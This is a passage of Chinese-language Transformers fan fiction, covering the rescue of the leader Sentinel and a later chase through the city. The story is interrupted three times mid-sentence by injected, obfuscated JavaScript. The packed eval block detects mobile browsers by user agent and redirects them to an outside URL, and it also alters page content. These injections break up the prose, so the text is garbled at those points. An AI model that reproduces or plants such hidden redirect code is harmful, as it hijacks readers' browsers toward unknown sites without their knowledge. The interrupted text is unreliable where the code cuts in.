“到底是谁把你变成这样的,该死,把那个会说着‘您不想说就不说,我会相信您’然后轻描淡写放过这件事的海格特还来。” 他几乎要敲桌了。 “我没有不相信您啊。” “你……什么?” 震荡波困惑地抬起头,看向海格特,而后者也困惑地看着他。 “我只是想知道。”似乎是意识到刚才表达得不太好,海格特思考了一会才开口,“您是不是很早之前就知道我的存在?” 如果自己被科学小队发现不是巧合,相遇不是巧合,他此刻坐在这里也不是巧合—— “——那我会很感激的。” 议员看着他,过了没几秒,忽然“嘶”地倒吸一口气。 “你一直这么讨人喜欢吗?” 海格特摇头:“说看到我就来气的倒是有。” “那他们一定判断失误了,”震荡波伸出双手,但下一秒又用力收了回来,“要低调,对……如果现在不是这个情况,我一定要把你举起来转一圈。” “??” 海格特不明所以地回以一个友善的表情,但紧接着,他的视野中就发现两颗陌生火种正在朝这里靠近。 “我们被发现了。”他拿着数据板站起身,“需要转移。” “不如我自己回学院吧,”震荡波提议,“你必须呆在铁堡才能确保信号传输稳定,但作为一个参议员,我到哪里都会吸引视线。” 海格特想了一下,看到一旁的竞速比赛海报。 “有个地方或许不会。” 14.第十四章 竞速赛场的比赛尚未开始,看台上已经是人山人海。 这种赛车的赛时其实很短,在发令枪/响前还有漫长的选手介绍、广告、历年精彩比赛回放和各种仪式,但这些丝毫不减观众的热情。 并且因为是赛季末的重要比赛,主办方甚至请了一支乐队过来演奏。 “和外面的紧张局势相比,简直就像个塞外桃源。” “可能无论何时都需要放松吧。” 看台角落,一个几乎看不到赛场的不起眼位置,海格特正在传输最后一批定位数据,议员则是非常不习惯地观察着周围。 他是正常买票入场,而海格特是顺着通风管道偷偷进来的,为了避免位置正好有人,议员特地买了两张票。 这里的确没有人注意他。 不如说,观众们激动起来可能连自己是谁都忘了。 幸好我没有迷上这种竞技赛事。震荡波想着。不然真得天天去给火种动手术。 “情况怎么样?”他努力不让自己沉浸在热烈的氛围里,于是问起正事。 “嗯……如果我们的目标是找到至少一半的人,那需要反制装置的就还剩下36个。”海格特低头大致计算了一下,“大概等比赛结束就能进行下一步计划,进展比想象得要快。” “我就说奥利安·派克斯不会让人失望。”震荡波笑了笑,“他会成为最优秀的领导者。” 把一个执法人员说成“领导者”似乎有些奇怪。 但奥利安现在的确在带领小队,能让那几个性格鲜明的异能者都听他指挥——哪怕他们才刚认识,已经足够证明他的非凡才干。 要知道,他甚至说服了警车暂时不去追究这件事的合法性问题。 “你还带着注意力转移器吗?” “是的,但我设置了仅针对您、派克斯警官和救护车他们的信息蠕变消除程序,所以不会影响到你们。” “原来如此……对了,我之前没来得及问,”震荡波又想起什么,“你往反制装置里加入的那个程序是什么?” “是我之前研究的火种逆向工程的一部分。”海格特抬起头,“能清理后天遭到人为改变的火种信息波动,但对机体的恢复还是不太现实。” “因为缺乏技术?” “是缺乏能源,技术上我依旧认为迟早是做得到的。至于能源,” 海格特说着,拿出放在收纳空间的那小块蓝色的碎片。 “既然透光蓝矿能隔绝信号,也就意味着可以打造输送回路,甚至传递人造脉冲信号……但与调和剂发生反应,做成建筑材料之后就会失去原来的能力,首先得想办法栽培。” 他陷入一阵思考,然后听见震荡波问他: “所以你想解决能源问题?这我还是第一次听说,绝大多数人最后才会考虑这件事。” “是的,奥提雷克斯大学测算过未来的能源消耗趋势,给出的结果还很乐观,但我不认为可以忽略潜在的风险。” 海格特将目光放远,看着赛场上逐个亮相的竞速选手,以及那些呐喊的粉丝。 在这里不管一个人的变形模式是什么,好像都能获得平等的放松和快乐。 “如果出现能源危机,赛场就会被荒废,我只是希望让这样的景象长久一点……” 还有塞伯坦的各个角落,以及卫星上的人们。 希望所有的火种都能长久闪耀。 “海格特。” “嗯?” “不管之后你的通缉有没有被撤销,都来我的技术学院好吗?” “您想成为我的老师?”海格特不解地看他,“我的‘异能’大概不需要训练。” “不我不缺学生,”震荡波打断他,“我需要的是一个合作者——应对能源短缺的,有同样长远目光的合作者。” “但是万一当局发现,会牵连……” “让那些无聊的事情见鬼吧,你先答应。”他几乎是急迫地说出这句话的,“这是为了塞伯坦,拜托,你一定能理解我。” 在塞伯坦,沉醉于科学技术的人很多,但他们大多无心关注自己研究领域之外的事。 哪怕他试着呼吁过能源问题,但得到的反映一直寥寥无几。所以震荡波尝试过很多别的办法,比如外部项目、游走在道德边缘的火种拼接技术、甚至去挖掘那些传说与神话…… 但除了在水晶城下埋了一些自生长矿藏之外,还没有太多实质性的进展。 这种潜在的焦虑几乎成了一种执着,在每一个安静的时刻燃烧着震荡波的神经导线。 “那您回答我一个问题,议员。”海格特看着他。 “你说。” “您很清楚现在的局势,那如果逆天劫领袖被救出来之后下台了,您认为接下来谁会接任领袖?” 听见海格特跨度如此之大的问题,震荡波顿了片刻。 “我会回答你这不是我能决定的事,一切都是领导模块的选择。”他无奈地开口,“你真该补一补政治基础,这种问题就不该问出来。” “这是个政治问题?” “当然。” “领导模块也是政治问题的一部分?” “……” “如果是,我们为什么需要领袖?” 震荡波看上去想捂住他的嘴,但这次没来得及,只能作出一副“天啊你别再说了”的表情。 然后他就发现了一件事。 他发现海格特似乎在笑。 “你……该不会觉得这样很好玩?” 观众席突然爆发出一阵巨大的欢呼声,是比赛的明星选手罗嗦入场,人群的声音瞬间达到顶峰,几乎要冲破他们的音频接收器,到处是兴奋的观众。 海格特侧过头看去,那个闪闪发光的蓝涂装塞伯坦人正站在赛场中央向观众致意,无比自信的优雅姿态看上去就像古老图谱里的人物。 “罗嗦选手入场,我们举世无双的lbex杯八连冠,二十二项纪录保持者——!” 主持人激动地介绍着上场选手。 “我听过这个名字。”海格特说,“以前在奥提雷克斯,我们的小组有一个常规快递员,是个黄色涂装的人,他就是罗嗦选手的半个粉丝。” 他短暂地陷入回忆,但很快意识到震荡波没在看赛场,而是依然盯着自己,等着一个解释。 “……我只是觉得刚才的气氛太严肃了。” 以前在奥提雷克斯,每当感知器和千斤顶产生无法解决的意见分歧时,他们都会用这种“高速提问法”来快速转移逻辑目标。 “抱歉,看来我这招也没起作用。” “我想听的不是道歉。”震荡波叹了口气,用普通视觉也直观可见得心情很糟,“好吧,我有点太着急了,但如果你改变想法再说吧,我可能也就抱怨一会儿,大概花上几万年。” “您这样我很难办……” “哦拜托,邀请不到志同道合的人,我连抱怨都不行了?” “好的,请继续抱怨。” 震荡波愣了,用“你怎么敢”的表情看向他。 “但我真的不能跟您合作,”海格特做出一个微笑,“我的科研经验还是太短了,能先从您的助手开始吗?” “……!” —— “罗嗦选手再次精彩夺冠,让我们随机做些采访!” 比赛结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就这样过了几个塞星时,来自奥利安·派克斯的联络总算响了起来。 “抱歉,我们多花了一些时间。” 粒子城的警官说着,依稀能看到他身后站着正在交谈的其他人。 “所有小队成员都平安无事,我听说安保总部需要特定身份信息才能进入,所以想办法复制了几个被操纵者的火种波长。” “棒极了!”震荡波忍不住喊了一声,“今晚就把御天敌的老巢给端掉!” 奥利安:“议员……您是不是有点过于兴奋?” 震荡波:“我状态从来没这么好过。” 警车:“稍等,我以为你们的行为仅仅是确认领袖的状态,而不是报私仇。” 开路先锋:“是‘我们’,机械法医先生,我们要营救领袖,别把自己排除在外。” 充电器:“怎么能算私仇?他明显已经引起公愤了。” 警车:“这不是你们蔑视法典的理由。” “就是,听见没,”充电器用手肘戳了一下无辜的开路先锋,“你不能有些东西比你低下就总是蔑视它。” 于是忍受不了的警车跟他们争执了起来。 “我会解决的。”疲惫的奥利安明显今天已经不是第一次处理这种事,“晚些时候在洲际高速公路前集合吧……对了,海格特呢?” “哦他在后面。”震荡波将通讯镜头往后移了一下。 “他在签合同。” 15.第十五章 “我需要最后确认一遍行动人员构成。” 昏暗的机舱内,警车沉着脸打开数据板。 “丧门神——因你的异能可以让安保系统暂时失效。” 橙棕色的塞伯坦人动了下爪子,表示自己知道了。 “海格特——因你的定位能力可以弄清楚里面的人员配置。” 被叫到的海格特抬头看向他。 “奥利安·派克斯,主要战斗力和行动人员,负责潜入时带领小队部署作战。” 红蓝涂装的大型机点了下头:“我会尽力。” “充电器——因你的悬浮异能,可以让这个带有特质隐形涂料的飞行器绕开空中的颗粒干扰装置。” 正在用异能操纵装置保持悬浮的充电器:“当然。” “还有刹车,因你手臂上的抓索。” “嗯……等等,什么?” “好了,”警车毫不留情地关上数据板,“我有三个方案,其中两个值得我们在格拉斯1号关二十万年起步,剩下一个是被当场击毙,实际上这个概率大于75%。” “啥!?”充电器惊叫一声,飞行器跌宕,差点摔下去。 场面顿时变成一片惊呼或疑问。 而刹车还在难以置信地盯着自己的手臂,满头问号。 “因为抓索?” 奥利安·派克斯忍不住捏了捏眉心,在场面彻底陷入混乱前最先站了出来。 “这里有汽车人安保总部的内部线路图,根据海格特提供的信息,人员构成和逆天劫领袖被藏匿的地点也清楚了,”他将一份地图信息投影到机舱,“这件事是在挽救生命,但你们都有退出的权利……” 警车抱起手臂站在旁边,不停地在数据板上重复着计算和模拟。 他的逻辑电路非常强大,有时这种聪明反而成了问题,让他比旁人更容易沉溺于细枝末节中。 就比如今夜的客观气象数据、对情报的进一步分析、还有那道从刚才开始一直在看着他的视线。 “你有什么意见可以直说。”警车看向海格特。 “我只是好奇你参与的理由。” 如果说之前寻找被操纵者的行动还勉强在安全范围内,那现在参与潜入安保部队营救领袖,危险程度就不亚于不带飞行背包从宇宙自由落体了。 哪怕目的是正确的,过程也在违背法典,触犯规则。 “我以为你不会来。” “是啊,我也以为,”银白色的机械法医面无表情,颇有讽刺意味地开口,“明明‘整天痴迷于做全面尸检,喜欢盯着犯罪现场和尸体看,热衷写成堆报告的怪人’根本不会参与这种事。” 这是不久前震荡波议员在先进技术学院对海格特抱怨时说的话,当然,那时他不知道警车就在身后。 “抱歉,但我想议员没有在针对你。”海格特解释。 震荡波自然没有参与今天的任务,而是以保护性拘留的名义被带到粒子城警察局,救护车也在那里的医疗站,随时准备展开救治。 在海格特走前,议员曾经再三说他有种不好的预感,试图让自己的新助手留下,但定位能力对潜入安保部门来说显得过于重要,没有他,这件事的成功率将不到原先的一半,于是几乎不用多加权衡,海格特还是离开了。 “是啊,他那句话只是在扫射所有机械法医。”警车盯着他,“感谢你的纠正,看来你已经彻底认为自己跟一个参议员是一伙的了。” 海格特忍不住笑了一下。 “你在笑什么?” “我只是觉得很高兴。”他目光宁静地看向警车,“尽管没有十足的把握,你还是来了,这是个好的转变……我们都有好的转变。” 这个人真的被怎么挑衅都无所谓吗? 我是不是该说得更不客气一点。 警车感到一阵复杂的烦躁,但这和反感不同,甚至不全是负面情绪,逻辑上也无法做出明确的判断。 于是那些辛辣的话刚到嘴边,又变成一句不痛不痒的讽刺:“听上去你真以为夜闯安保部队是件好事了。” “想做正确的实验时,总会有错误如影随形——这是千斤顶告诉我的。” “你忙了半天结果变成通/缉/犯,这也是你正确实验的一部分?” “说得也是,我没能做好。” 海格特平静地说着,比起自嘲,更像是从一开始就没意识到恶意。 又是一拳挥在云上的感觉。 警车压下古怪的心情,迅速将这些思绪甩出脑模块,这地方可没有桌子给他掀。 至于参与这件事的理由,当然不能跟任何人说。 他需要证明,证明这里没有阴谋论,证明塞伯坦依然在正常运转,然后说服锁芯,让他不要辞职跑去报名记忆手术培训,也说服自己,相信着一切仍然在可控范围内。 虽然在某个角落,他已经隐约感觉到自己将会得到一个不愿承认的真相。 又或许是好几个。 —— ———— 逆天劫的火种虚弱地燃烧着,就像荒野上一团随时会被吹灭的火。 要是得不到救治,他的存活时间不会超过半天。 “领袖就在安保总部大楼的西侧地下牢房。”海格特说着,切换视觉模式在地图上指了指,“他们今天的巡逻模式也和昨天一样,从人员配置到航空警戒都是。” 一切都属于常规范畴。 显然出于谨慎,御天敌对自己暗害领袖这件事连哪怕可能的一点可疑痕迹也没有做出来。 “他无法承担如此重大的责任……没有人能承担,”奥利安做出结论,“他藏起来的是本应死去的领袖,而这件事一旦被发现就完了。” 不如说,应该庆幸今天的卫兵没有突然增加或减少,让这地方彻底变成一个陷阱。 “这是最后一次,你们有权退出此事。”执法人员再次强调。 然后就和预想的一样,出于各自的理由,没有人走。 飞行器停在安保部队总部附近,海格特已经通过火种将巡逻队的行动路线都记了下来。 他们平安着陆,找到了掩护点。 除了充电器留在载具上进行看管和警戒,其他人都开始行动。 首先丧门神处理掉了外部的几个感应装置,奥利安让小滚珠远程操控这里的监控画面。 随后来到西侧后门前,用提前准备好的身份信息打开电子锁——直接让它失效可能会引起警报,所以不能使用丧门神的异能。 进入建筑物后,几人在复杂的内部道路里摸索着前进,从通风管道和过道里绕着路。 每个看不到对面的拐角,都令人有一种会撞上卫兵,然后在避无可避的狭窄通道里被打成筛子的错觉。 “等一下,我好像听见有动静……” “没事。” 在那些令人感到不安和警惕的角落,海格特都毫不犹豫地走了过去。 “这里没有人,我能看见。” 昏暗的视野中,他已经走到走廊对面,转过头看着身后的几个人。 “那个词怎么说来着?那个本应该让安保部门带来的词,”刹车竖起一根手指。 “我猜你是想说‘安全感’。”丧门神接过话。 有了海格特的眼睛,这理应是全塞伯坦最森严的地方对他们几乎变成了单向透明,一路上都顺利得不可思议,就连警车,也是第一次体会到自己的计划部署被完美实施的爽快。 但反过来说,这也意味着这个能力真的太过危险了。 之前知道的理论是理论,实战起来才知道有多恐怖。怪不得那个议员要这么执着地拉海格特入伙。 警车又陷入一阵思考。 最后,丧门神关停了一处通风管道里的感应设备,众人站在一处向下的通道前。 “领袖就在下面。”海格特看向刹车,“需要麻烦你了。” 蓝色涂装的塞伯坦人愣了一下,无奈地走上前。 “是啊,你们迟早会需要用上一个理论上能学会所有技能的见习理论抓索的,为什么不呢?” 他弹开手臂一侧的外甲,一个与手差不多大的巨大钩锁赫然出现在原先小臂的位置。 “你需要抓取两次,第一次是取下管道口的防护网,”奥利安提醒他,“第二次是勾起在房间正中央的逆天劫,上来后我会搬运他的。” 刹车犹豫了一下:“我的抓索的确能短期内承受一个大型机的重量,但他难道不会尖叫或者挣扎什么的?” “根据海格特提供的信息,领袖已经好几天没有移动过了,大概率正处于静态锁死状态。”警车说。 “好吧。” 于是刹车照办了。 第一次很顺利,防护网被无声无息地取下,小心翼翼地拿了上来。 但就在第二次他正在往下放钩锁的时候,在狭窄昏暗的空间里,丧门神一个没注意,不小心碰到了他的肩膀。 “哦不——” 失去控制的抓索直接掉了下去,它砸在房间中央,发出铛的一声。 “谁在那里!” 几乎只是瞬间,就有人一脚踩住了刹车的抓索,还有更多脚步声伴随枪械上膛的声音,朝着房间赶来。 “警车,你快割断刹车的索绳,丧门神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782030|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要出声继续屏蔽感应设备,你们先走,我负责断后,海格特,你帮他们确定撤离路线。” 奥利安冷静而迅速地做出指挥,但就在他看向最后一个人时,却发现海格特不知何时移动到了向下的通道前,往下看了看。 “你——!” “稍等。” 留下这一句话,海格特就轻轻跳了下去。 他的表情是如此平常,以至于等他落地,在场都没有任何人反应过来发生了什么事。 一时间,楼下房间里各种混乱的声音夹杂在一起。 脚步声、金铁交鸣的战斗声、还有更多机体碰撞的巨响。 但这些声音不知为何变得越来越小,就在短短半分钟后,一切化为寂静。 “……怎么回事?” 最先反应过来的是刹车,他发现不知何时起,自己的抓索没有刚才那种被人踩着的感觉了。 于是他试探着往回收了一下,发现非常顺利,但被人叫了停。 “请等一下。” 是海格特的声音,然后他似乎拖了什么东西过来,钩在了刹车的抓索上。 “领袖已经被钩好了,你可以慢慢往上面移动。” “……” 刹车看向奥利安,后者略作思考后点了下头。 于是他先把静态锁死在载具形态的逆天劫拽了上去,然后再次下放,把海格特也带了上去。 和众人想象中不一样的是,他身上没有太多战斗痕迹,连深色的涂装都没怎么出现剐蹭。 刚才被发现的事就像一场幻觉,刹车甚至开始怀疑自己紧张过头发了神经癔症,但很快他就发现警车也是一副无法理解、难以置信的表情。 就连无法进行情绪表达的丧门神,此刻也将爪子放在眼前,作出一副困惑的姿态。 “有问题一会儿再说,无论如何我们该走了,逆天劫的状态很差。” 奥利安的声音打破了沉默,将几人从思索中唤回来。 他们带着领袖迅速展开撤离,然而最后离开前,警车还是顺着通道往下看了一眼。 视野并不顺畅,一晃而过的光线中,他只能看到一个角落,但即便如此,也让他有一瞬间怀疑自己的光学镜—— 在原本用来秘密关押领袖的小房间里,横七竖八的安保部卫兵正倒在那里。 无一例外,全都是昏迷状态。 —— “呼,我还以为会死在那。” 刹车喃喃着,跟奥利安一起将濒死的领袖搬上飞行器,片刻的颠簸后,他们顺利向粒子城方向起飞。 “你在下面做了什么?” 果然等飞行器一平稳,警车第一时间就将海格特堵在墙边,肩炮和随身武器都对准了他。 如果锁芯在这,肯定会戳穿他连仗都没打过,这么做只是虚张声势,但这里没有人知道一个机械法医的底细。 “这是怎么了?有人跟我解释一下吗?” 充电器困惑地问旁边的刹车,而后者只是做了个示意他专心操作,保持安静的手势。 “你一定要在这个时候动手吗?”刹车过去劝阻,但没什么用。 “能精准定位也能瞬间让人失去意识,我从来没听说过同时拥有多种异能的人,这在生物学意义上就无法构成,”警车死死盯着他,“你带了武器?谎报异能的真实状态?还是更基础的部分? ——到底从哪一步开始是谎言?” “……” 见他保持沉默,警车干脆给武器上了膛,这下奥利安也过来劝阻,但被海格特制止了。 然后,他对警车点了下头。 “你不会动手的。”他说,“你知道,那些困扰你的问题都不是我造成的。” “这也是我一直想问的事,你明明涉世不深,但总像是很了解每个人,像是很了解我……” 在警车眼里,海格特那双极浅的光学镜正倒映出他自己的模样。 “你到底……在看着哪里?” “看看时机吧,他救了我们所有人!”刹车还是在试图拉开他。 奥利安打算做点什么,但在那之前,他收到了一个来自小滚珠的紧急来电。 “你们看新闻没有!?” “我不确定是否已经离开了公共频道阻塞范围。” 奥利安看向充电器,后者比了个ok的手势。 “稍等,我这就打开。” 他将自己的内线连接到新闻频道,然后在面前展开一个光屏。 瞬间,屏幕里的熊熊火光照亮了在场每个人的面甲。 【“直播突发!先进技术学院发生大火!”】 16.第十六章 作为一个大型机,震荡波很少有如此力不从心的时候。 往往都是他一不小心情绪激动,弄坏或者碰到什么东西,就像上课面对怎么也听不懂知识点的学生,把教学屏边沿捏出一个手印之类的。 如今他总算也体会到这种感觉了。 因为现实就是,他正在被一个巨型塞伯坦人——不知道是叫铁毡还是叫重锤的那个——死死捏在手里,无法挣脱。 小滚珠早在他们入侵粒子城警局时就已经被打晕,甚至没来得及掏出武器,显然双方从体型到战斗经验都太过悬殊。 现在唯一值得庆幸的是,他们还没发现在医疗站的救护车。 只要撑到派克斯和海格特他们回来…… “哈,看你的表情,是在想你那个煽动者朋友?还是那个小通/缉/犯?” 戴着红色护目镜的紫黄色机体在他面前观察着,脸上挂着令人不舒服的笑。 “听着,我也不在意你混乱的私生活,但——组建一只异能大军入侵安保部门?哈哈,我都不敢想象御天敌会有多愤怒,光是将你洗脑可能都不足以泄愤吧,我猜他会挑你几个学生拿去换成灯泡脑袋?” “你们……” “噢,不过那个海格特,我倒不希望被挑走,如果能把他留给我和死士,我保证这次他没机会再逃走,但很可惜……” 他啧啧几声,摇了摇头。 “去死吧马仔!” 震荡波几乎是发狠地挤出这句话。 “别急,在对你的小宠物动手前,我可以先给你脑袋上开个洞。” 马仔说着就要举起武器。 “就像这样——” “轰!” 在他开枪前,警局一侧传来爆炸般的巨响,处于车辆变形模式的奥利安·派克斯直接撞碎了墙壁和巨型塞伯坦人的大半个身体,将议员救了下来。 执法官在空中转换为人形,等落地时,武器已经蓄势待发,将震荡波护在身后。 “这里交给我,”他说着把一个对讲机递给议员,“你的助手会跟你说清楚。” 震荡波有些没反应过来,但还是接起对讲机。 然后他就听见一个熟悉的声音。 【“您好议员,我来跟您汇报一下情况。”】 “海格特?” 另一边,见震荡波失去控制,马仔立刻就将目标转向倒在旁边的小滚珠。 【“首先——”】 在海格特讲述的同时,马仔正试图举起武器控制这个倒霉的大个子执法者,但就在下一瞬,他被一个巨型红色力场怼在了外面,一个趔趄栽倒在地。 【“——开路先锋已经赶到粒子城警察局,希望他赶上了。”】 “他当然赶上了,他可是开路先锋!”震荡波振奋地笑了一下,“你们怎么联系上他的?” 【“这个一会儿我会报告给您,我猜现在他受到刺激展开力场后无法移动,所以只能暂时守在那里保护伤员。”】 在立场内的开路先锋露出一副被说中的表情,他摸了摸后脑勺,对震荡波做了个抱歉的笑。 “没事,这一招很管用。” 议员刚想再鼓励自己的学生几句,但奥利安已经拉着他往外走了。 “我们必须马上转移。”他说着,将警局专用的飞行器打开,里面是已经花几分钟学会驾驶方式的刹车,“上来吧。” 【“有数个被操纵的私兵正在赶向你们那里,我会选取避开所有危险的路线,你们的目的地是逃到奥提雷克斯的地下防空洞,再从那里甩开追兵,转移到新的医疗点位。”】 “那你呢,海格特,你在哪?” 【“我在谢尔玛桥上。”】 “太危险了!那就在功能主义委员会大楼旁边,而且根本没有掩体!” 【“但从这里能看清你们周围的袭击者,等你们到了,我会过去汇合。”】 震荡波还想说些什么,但被奥利安拍了下肩膀制止。 “相信他吧,议员。”粒子城的执法官语气坚定,“海格特比谁都更能看得到危险,您现在应该听他的汇报。 不要让他的努力和决心白费。” 震荡波神色复杂地捏了捏拳,最后还是放开。 是的,那么多人都冒着生命危险行动,他无论如何不能让这一晚的努力白费。 于是接下来,海格特又陆续汇报了其他人的状况。 【“红色警报已经由充电器和其他学生移送到附近的安全屋,虽然建筑损毁严重,但先进技术学院内没有人员伤亡。”】 【“逆天劫领袖正由警车和丧门神护送到新的医疗点,救护车也正在过去,等你们赶到的时候,他应该正在救治领袖。”】 【“天亮前,一切都会结束。”】 海格特的语调平静,尽管隔着对讲机,那种独特的安心感也传了过来。 好像只要有他在,一切不幸都会绕开他们走。 但是,怎么回事? 震荡波蹙起眉。 这种心里一直挥之不去的不祥预感。 【“有两个被操纵者正在赶往你们那边……但在东侧一公里左右突然停下。”】 海格特的声音带上些许疑惑。 与此同时,刹车的声音从飞行器驾驶位传来。 “呃打扰一下,是我光学镜出毛病了,还是空中真的有一些密密麻麻的东西?” “是微型轰炸机群!”上前查看的奥利安瞬间认出那些黑点,瞪大眼睛,“你找掩护!换我驾驶——” 话音未落,飞行器就瞬间竖了过来,躲开了最先到来的几颗小型导弹,等它们在身后炸成烟花,又迅速恢复水平位置。 “我说过我学会开这玩意了。” 刹车咬着牙说道。 蓝色涂装的理论家终于能证明了自己的学习能力,他握着操纵器,看上去就像个开了十年飞行器的老手。 然后他看向奥利安:“你武装多,看看能做点什么。” 执法官从善如流,半个身子探出机舱,武器上膛,开始攻击那些空中的无人机。 震荡波刚才撞在了机舱一侧,此刻正捂着脑袋站起来:“轰炸?御天敌是疯了吗!?这里可是公共区域!” “显然他早就疯了。”刹车接过话,“又或者我们都疯了,谁知道呢。” 【“很抱歉我无法定位非人单位。”】 “你道什么歉,你是最棒的那个!”议员说着,在手臂上点了几下,浮现出内部测算用的光屏,“把那些突然停下的人的位置也汇报给我,我会计算出对面的行动路线。哈,那些微型无人机的技术在我这只能算智力障碍级的。” 【“我明白了。”】 海格特的声音听上去有点高兴。 袭击接踵而至,但在顺利的预判和调度下每次都堪堪化险为夷,飞行器在夜空中翱翔,留下一道道复杂而利落的弧线。 —— ———— “快把他抬上来。” 另一边,新医疗点位。 警车和丧门神已经将领袖顺利送了过来,一路上并未受到多少关注。 在把他抬上医疗台后,救护车立即展开了救治。 “我不知道还有这种地方。” 丧门神关门前看了一眼外面——这里是个位于东部工业区的废弃电厂,医疗点就藏在其中的安全屋内,从外表完全看不出来。 从医疗设备、物资到一些简单的武器,一律俱全。 “显然没人知道。”警车默默在自己的数据板上查着什么,“但看来这里的确是属于震荡波议员的财产,他于两个周期前买下了这块地,一直没有改建。” “丧门神,你去后门盯着。”正在打开各种仪器的救护车说,“抱歉,但你的异能一旦作用于这里的任何一个设备,领袖就完了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786213|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >丧门神举手示意他不用多说,点了下头就离开了医疗点。 漫长而缜密的治疗手术过程就像另一场战争。 救护车拉起帘子展开救治,警车站在一个不会打扰到他的地方,开始整理这起混乱事件的经过。 先是数日前,领袖死亡的新闻。 但他们确定领袖没有死,御天敌藏匿了重伤锁死的逆天劫,于是前往汽车人安保部门开展营救。 对自己和救护车来说,这是履行职责。 对震荡波议员则是个打压政敌的好机会。 等一切尘埃落定,到时候就看“逆天劫的领导模块是假的”这个消息,究竟更偏向两边哪方了。 “……” 这样的推断看上去很合理。 但在一块逻辑的空白处,警车发现无论如何也拼不上这拼图的最后一块。 一个简单又关键的问题不断地盘旋在那里,挥之不去。 ——为什么御天敌不直接杀了逆天劫呢? 不得不留他一命的理由。 需要不惜冒着麻烦和风险也要让他存活的理由。 是恐惧暴露后面临的责任?还是想从他那里得到有关真正领导模块的消息,或者别的什么吗? 警车回忆起在首席议会厅见过的那肃穆、铁血的金红色安保部长。 那样的人。 真的会为了一个“可能性”就手下留情? “海格特……”他忽然喃喃出一个名字。 “你说什么?” 过于投入的警车甚至没注意到救护车的提问,他正为自己刚刚联想到的内容感到惊讶。 他居然在想,御天敌试图抓捕海格特,所以自导自演了杀害领袖的戏码引他入局——这样的可能性。 不过仔细想想,这个概率也很低。 据他所知,针对个人脑模块波动探测的仪器在宇宙探索领域已经不是什么新鲜事,虽然不能像海格特那样方便而大面积搜寻,只能输入个别人后定向搜索,时间也慢,但总归是有这项技术的。 所以海格特对他来说并不必要。 如果再加上那种超常的战斗能力,洗脑过后也就是一个杀手……仅此而已,安保部门会缺这种人吗? 警车越想越觉得这个想法不靠谱。 “但如果有人破解了奥提雷克斯大学的一级机密内容,发现了更多……” “哦那不可能。”救护车似乎正在清洗仪器的间隙,听见他喃喃出声的话,否定道,“你真的知道什么叫一级机密吗?” 隔着医疗幕帘,警车看到救护车的影子指了指脑袋。 “意思是这个秘密只在少数几个人的脑子里,除此之外不会以任何形式留存。” “我明白了。” 可这样一来,问题又回到原点。 所以说到底,这一切都与那家伙的真实身份有关。 一种莫名的冲动让警车打开内线消息,点开了那个唯一会向自己发消息的对话框。 【注意安全】 他打下这几个字,看着又觉得别扭,于是删除了最后两个字,改成了:【注意警戒】。 然后发了出去。 很快,大概不出两塞星分,他就收到了回信。 海格特总是很积极地回应他人的每一句话,就连对警车也不例外。 他点开回信。 【是。一切顺利,议员马上就会到你们那边。】 理所当然。警车想着,回了一句:【别忘了你还有问题没回答,你也赶紧过来。】 回信很快又来了。 估计会说什么需要保密之类的话来搪塞吧。 这完全在意料之中。 如果海格特是个案件,那他意外地不讨厌搜查的过程,就让他慢慢来也无所谓。 警车点开那条回信,然后,光学镜内就映入两个完全在意料之外的字: 【抱歉。】 17.第十七章 早些时候,铁堡,谢尔玛桥。 “前方路上有元老院的三变金刚卫队驻守,请尽快转向。” 夜风吹拂,在人迹罕至的大桥上,海格特俯瞰着这座城市,用对讲机传递情报,同时还在不断查阅地形图。 【“御天敌派了元老院的人出来?你确定吗?”】话筒里传来震荡波议员连珠炮似的问题,【“他现在有那么大权限?”】 “嗯,我之前在首席议会厅附近见过那些人,所以认得出来。” 话音未落,对讲机对面又传来一阵混乱声响。 估计是刹车又完成了几个极限飞行动作,在海格特的视野中,那几人的火种几乎是在高速下直角拐了个弯,向着另一个守卫较少的方向冲去。 “就沿着这条路走……你们的正前方路边有两个飞行私兵,注意避让。” 【“噢,晚了,派克斯已经把他们打下来了。”】 “好的。” 看着那两颗掉下去陷入昏迷状态的火种,海格特短暂地同情了一下,又观察起更远范围内的火种。 御天敌的人追得很紧,似乎是打定主意今天不逮捕议员就誓不罢休。 那些没有被解除操纵的私兵今晚几乎全员出动,再加上元老院的势力以及安保部队的人,恐怕上千年内都不会再有如此盛大的抓捕行动。 【“等这事结束,我一定建所新学院,把训练用靶全换成金红色的。”】震荡波抱怨道。 海格特笑了一声。 【“……你笑什么?”】 “我很高兴您有想建立新技术学院的想法。现在你们需要躲开左边的追兵后驶入隧道,那里的压力隔层会筛掉剩下的无人机。” 【“现在我发现你每次岔开话题都有问题。”】 【“我或许应该让你们别在生死攸关的时候闲聊。”】是刹车的声音,【“但不幸的是,这种不把命当命的感觉我已经习惯了。”】 他多少带了点讽刺,但这些天的惊险确实太多,眼前这件确实也不足为奇。 海格特想说些认同的话,又觉得哪里不一样。 有一种说不出来的感受。 